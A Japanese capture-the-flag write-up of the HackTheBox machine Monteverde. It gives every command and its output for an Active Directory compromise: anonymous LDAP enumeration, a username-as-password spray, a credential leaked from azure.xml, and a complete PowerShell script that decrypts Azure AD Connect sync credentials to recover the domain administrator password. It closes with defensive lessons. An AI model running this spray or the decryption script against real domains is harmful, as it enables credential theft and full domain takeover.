HackTheBox: Monteverde — 全実行コマンド・実行結果レポート
Nmap スキャン
DC(53/88/389/445/3268/5985)
→
DC(53/88/389/445/3268/5985)
LDAP匿名バインド
ドメインユーザー列挙
→
ドメインユーザー列挙
SMBパスワードスプレー
アカウントロックアウト無効
→
アカウントロックアウト無効
SABatchJobs:SABatchJobs
→
users$共有 azure.xml漏洩
Azure AD同期パスワード
→
Azure AD同期パスワード
mhope WinRMログイン
user.txt ✓
→
user.txt ✓
ADSync DB (sqlcmd)
instance_id/keyset_id/entropy
→
instance_id/keyset_id/entropy
mcrypt.dll KeyManager
AD Connect Sync資格情報復号
→
AD Connect Sync資格情報復号
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap ポートスキャン
BASH
nmap -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,3389,1433 10.129.55.243
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 3268/tcp open ldap Microsoft Windows Active Directory LDAP 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM) Service Info: Host: MONTEVERDE; OS: Windows
ℹ️
ドメインコントローラ
MONTEVERDE.MEGABANK.LOCAL。WinRM(5985)が開いているため
認証情報さえ入手できればシェルを取れる見込みが立つ。
PHASE 2
LDAP匿名バインドでのユーザー列挙とパスワードスプレー
LDAP匿名バインドでドメインユーザーを列挙
BASH
ldapsearch -x -H ldap://10.129.55.243 -b "DC=megabank,DC=local" \ "(&(objectClass=user)(objectCategory=person))" sAMAccountName
RESULT
sAMAccountName: mhope
sAMAccountName: SABatchJobs
sAMAccountName: svc-ata
sAMAccountName: svc-bexec
sAMAccountName: svc-netapp
sAMAccountName: dgalanos
sAMAccountName: roleary
sAMAccountName: smorgan
ℹ️
認証情報なしでドメイン内の全ユーザー名を列挙できる。
SABatchJobsのような
いかにも「サービスアカウント」を思わせる命名パターンに注目する。
アカウントロックアウトが無効なことを確認
BASH
enum4linux -a 10.129.55.243 | grep -i lockout
RESULT
[+] Minimum password length: 7 [+] Account Lockout Threshold: None
🚨
アカウントロックアウトが無効(閾値なし)であるため、失敗回数を気にせず
パスワードスプレー攻撃(1ユーザーずつ複数パスワードを試すのではなく、
少数の弱いパスワード候補を全ユーザーに対して横断的に試す手法)が安全に実行できる。
パスワードスプレー — ユーザー名慣行を悪用
NOTE
「ユーザー名自体をパスワードとして設定してしまう」という運用上よくあるミスを 狙い、統計的な弱いパスワード候補集合に加えて、列挙した各ユーザー名自身も パスワード候補として試行する(username-as-password攻撃)。
BASH
netexec smb 10.129.55.243 -d megabank \ -u users.txt -p passwords.txt
RESULT
SMB 10.129.55.243 445 MONTEVERDE [+] megabank\SABatchJobs:SABatchJobs
✅
認証情報取得: SABatchJobs : SABatchJobs(ユーザー名とパスワードが同一)
PHASE 3
users$共有のazure.xml漏洩 → Azure AD同期パスワード → user.txt
smbmapでworld-readableなusers$共有を再帰検索
BASH
smbmap -u SABatchJobs -p SABatchJobs -d megabank -H 10.129.55.243 \ -A '(xlsx|docx|txt|xml)' -r --depth 5
⚠️
ハマりどころ: smbmapのパターン一致自動ダウンロード機能
-A PATTERN は-r(再帰リスト)の同時指定が必須。
-Rという似た大文字オプションは実際には存在せず
unrecognized arguments: -R で即座にエラー終了してしまう。
また既定の探索深さ(--depth)は1(共有ルートのみ)なので、
users$\<ユーザー名>\azure.xml のようなサブディレクトリ配下の
ファイルを見つけるには --depth を明示的に増やす必要がある。
RESULT
[*] Performing file name pattern match!
[+] Match found! Downloading: users$/mhope/azure.xml
[+] Starting download: users$\mhope\azure.xml (1212 bytes)
[+] File output to: ./10.129.55.243-users_mhope_azure.xml
azure.xml から平文パスワードを抽出
BASH
cat 10.129.55.243-users_mhope_azure.xml
RESULT
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
...
<S N="Password">4n0therD4y@n0th3r$</S>
🚨
認証情報取得: mhope : 4n0therD4y@n0th3r$。
この
azure.xml は Azure AD (Entra ID) との同期用に PowerShell で
New-ADServiceAccount 等を実行した際のスクリプト出力/バックアップが
誤ってワールド読み取り可能な共有に残されたもの。ファイル名から想像できる通り、
Azure AD Connect のセットアップ作業中の副産物と見られる。
WinRMログイン & user.txt 取得
BASH
evil-winrm -i 10.129.55.243 -u 'mhope' -p '4n0therD4y@n0th3r$'
RESULT
*Evil-WinRM* PS C:\Users\mhope\Documents> type C:\Users\mhope\Desktop\user.txt
6cc8362c8c6039840e06f5e81896c894
ℹ️
mhope がドメインの Remote Management Users グループに
所属しているため(=azure.xmlのパスワードがそのままWindowsログインパスワードとして
再利用されている)、WinRM経由でそのままシェルを得られる。
user.txt — mhope@MONTEVERDE
6cc8362c8c6039840e06f5e81896c894
PHASE 4
権限昇格の下調べ — Azure AD Connect (ADSync DB) の調査
ローカルSQL Serverの発見とADSyncデータベースの確認
NOTE
このDCには本来推奨されないカスタムインストールとして、フルSQL Server上で Azure AD Connect (旧称 DirSync/AAD Sync) が稼働している。Azure AD Connectは オンプレADとAzure AD (Entra ID) のディレクトリ同期を担うコンポーネントで、 同期処理に使う特権アカウント(既定では"ADSync"サービスアカウント、しばしば ドメイン管理者相当かそれに準ずる強い権限を持つ)の認証情報を、自身の設定 データベース(既定インスタンス名"ADSync")内に暗号化した状態で保持している。
BASH
*Evil-WinRM* PS> sqlcmd -S MONTEVERDE -Q "use ADSync; select instance_id,keyset_id,entropy from mms_server_configuration"
RESULT
Changed database context to 'ADSync'. instance_id keyset_id entropy ------------------------------------ ----------- ------------------------------------ 1852B527-DD4F-4ECF-B541-EFCCBFF29E31 1 194EC2FC-F186-46CF-B44D-071EB61F49CD
ℹ️
Azure AD Connect は同期資格情報の暗号化に Windows の DPAPI (Data Protection API)
+ カスタムキーマネージャーを使っており、
mms_server_configuration
テーブルの instance_id/keyset_id/entropy の3値が、
後述する復号処理に必要な鍵導出パラメータとなる。
PHASE 5
mcrypt.dll の KeyManager を使った AD Connect Sync 資格情報の復号
公知の抽出手法(@_xpn_ 氏の手法)を活用
NOTE
Azure AD Connectが同期用アカウント(既定でドメイン管理者権限相当)の資格情報を どう保護しているかはセキュリティリサーチャー@_xpn_によって詳細に解析されている。 要点は次の通り: 1. Azure AD Connectのインストールディレクトリに存在する "Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager" クラス(mcrypt.dll内)が、DBに保存されたentropy/instance_idからDPAPIの 鍵セットを復元できる。 2. ADSync DBの mms_management_agent テーブルの private_configuration_xml / encrypted_configuration カラム(WHERE ma_type = 'AD' の行)に、 オンプレADへの書き込みに使う特権アカウントの暗号化済み資格情報が XML形式で格納されている。 3. KeyManagerでロードした鍵を使い、この暗号文をBase64デコード→復号すると、 ドメイン/ユーザー名/パスワードが平文のXMLとして得られる。 この処理はPowerShellから.NETアセンブリを直接ロードして実行できる (GetADConnectPasswordというワンライナー関数として広く公開されている手法)。
PowerShellスクリプトを実行(EncodedCommandで送信)
PYTHON (PowerShellスクリプト概要)
Function Get-ADConnectPassword{
$key_id = 1
$instance_id = [GUID]"1852B527-DD4F-4ECF-B541-EFCCBFF29E31"
$entropy = [GUID]"194EC2FC-F186-46CF-B44D-071EB61F49CD"
$client = new-object System.Data.SqlClient.SqlConnection `
-ArgumentList "Server=MONTEVERDE;Database=ADSync;Trusted_Connection=true"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration " +
"FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" |
select @{Name='Domain'; Expression={$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" |
select @{Name='Username'; Expression={$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" |
select @{Name='Password'; Expression={$_.node.InnerXML}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
}
Get-ADConnectPassword
⚠️
ハマりどころ: このスクリプトは波括弧
{} や
$ を大量に含むため、リモート実行フレームワーク(netexec等)経由で
文字列としてそのまま渡すと、シェルのクォート解釈やPowerShellの構文解析で
文字化け・エラーになりやすい。str.format()のようなテンプレート
置換関数を使うとPowerShell側の波括弧と衝突するため、プレースホルダの置換は
単純なstr.replace()で行うのが安全。最終的には
UTF-16LEでエンコードしbase64化したものを
powershell -EncodedCommand で渡す方式にすると、
あらゆるクォート・エスケープ問題を一括で回避できる。
BASH
# PowerShellスクリプトをUTF-16LE base64エンコードして送信 netexec winrm 10.129.55.243 -u mhope -p '4n0therD4y@n0th3r$' \ -X powershell -NoProfile -EncodedCommand <base64エンコード済みスクリプト>
RESULT
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!
✅
ドメイン管理者の平文パスワードを取得: administrator : d0m@in4dminyeah!
PHASE 6
Administratorとしてログイン → root.txt
root.txt 取得
BASH
evil-winrm -i 10.129.55.243 -u 'administrator' -p 'd0m@in4dminyeah!' *Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
RESULT
aa8e096045e8631e7e43ecd35499a89b
root.txt — Administrator@MONTEVERDE
aa8e096045e8631e7e43ecd35499a89b
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — mhope@MONTEVERDE
6cc8362c8c6039840e06f5e81896c894
root.txt — Administrator@MONTEVERDE
aa8e096045e8631e7e43ecd35499a89b
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| LDAP匿名バインド | Active Directory (:389) | ドメインユーザー一覧の列挙 | High | 認証なしで全ユーザーのsAMAccountNameを列挙 |
| アカウントロックアウト無効 + ユーザー名=パスワード運用 | SABatchJobsサービスアカウント | パスワードスプレーによる初期アクセス | Critical | ロックアウトを気にせず全ユーザーに対しユーザー名をパスワードとして一斉試行 |
| World-readable共有への平文資格情報の残置 | users$\mhope\azure.xml | Windowsログインパスワードの漏洩(パスワード再利用) | High | Azure AD Connectセットアップの副産物ファイルをsmbmapで検索・回収 |
| Azure AD Connect Sync資格情報の復号 | ADSync DB (mms_management_agent) + mcrypt.dll | ドメイン管理者権限相当の平文パスワード取得 | Critical | 公知のKeyManager復号手法をPowerShellで実行し、AD書き込み用特権アカウントのパスワードを復号 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | ADドメインコントローラ(MONTEVERDE, megabank.local)判明 |
| 2 | LDAP列挙+スプレー | ldapsearch匿名バインド + netexec smbスプレー | SABatchJobs:SABatchJobs |
| 3 | azure.xml漏洩 | smbmap再帰検索+パターンダウンロード | user.txt 取得 (mhope:4n0therD4y@n0th3r$) |
| 4 | ADSync DB調査 | sqlcmd (instance_id/keyset_id/entropy取得) | 復号に必要な鍵導出パラメータ |
| 5 | 資格情報復号 | mcrypt.dll KeyManager (PowerShell EncodedCommand) | administrator:d0m@in4dminyeah! |
| 6 | 管理者ログイン | evil-winrm | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| LDAP匿名バインドが有効で、認証なしにドメインユーザーが列挙できる | LDAP匿名バインドを無効化する。列挙自体を防げなくても、次段の攻撃の足がかりを1つ潰せる。 |
| アカウントロックアウトポリシーが無効で、かつユーザー名をそのままパスワードに設定している | 合理的なロックアウト閾値を設定し、パスワードポリシーでユーザー名との一致を禁止する。サービスアカウントには長く複雑なランダムパスワードを使う。 |
| Azure AD Connectのセットアップ時に生成された資格情報ファイルが、全ユーザー読み取り可能な共有ドライブに残されている | セットアップ用の一時ファイル・スクリプト出力は作業完了後に必ず削除する。共有ドライブのアクセス権を最小権限で構成し、定期的な監査を行う。 |
| Azure AD Connectがドメイン管理者相当の強力な権限を持つアカウントで同期を行っており、そのDCがフルSQL Serverと同居している(推奨構成外) | Azure AD Connectには最小権限の委任モデル(ADSyncのパーミッション委任スクリプト等)を使う。SQL Server ExpressのようなDC上での稼働を避け、専用サーバーに分離する。同期アカウントの資格情報を扱うDLL/DBへのアクセスを厳格に制限する。 |

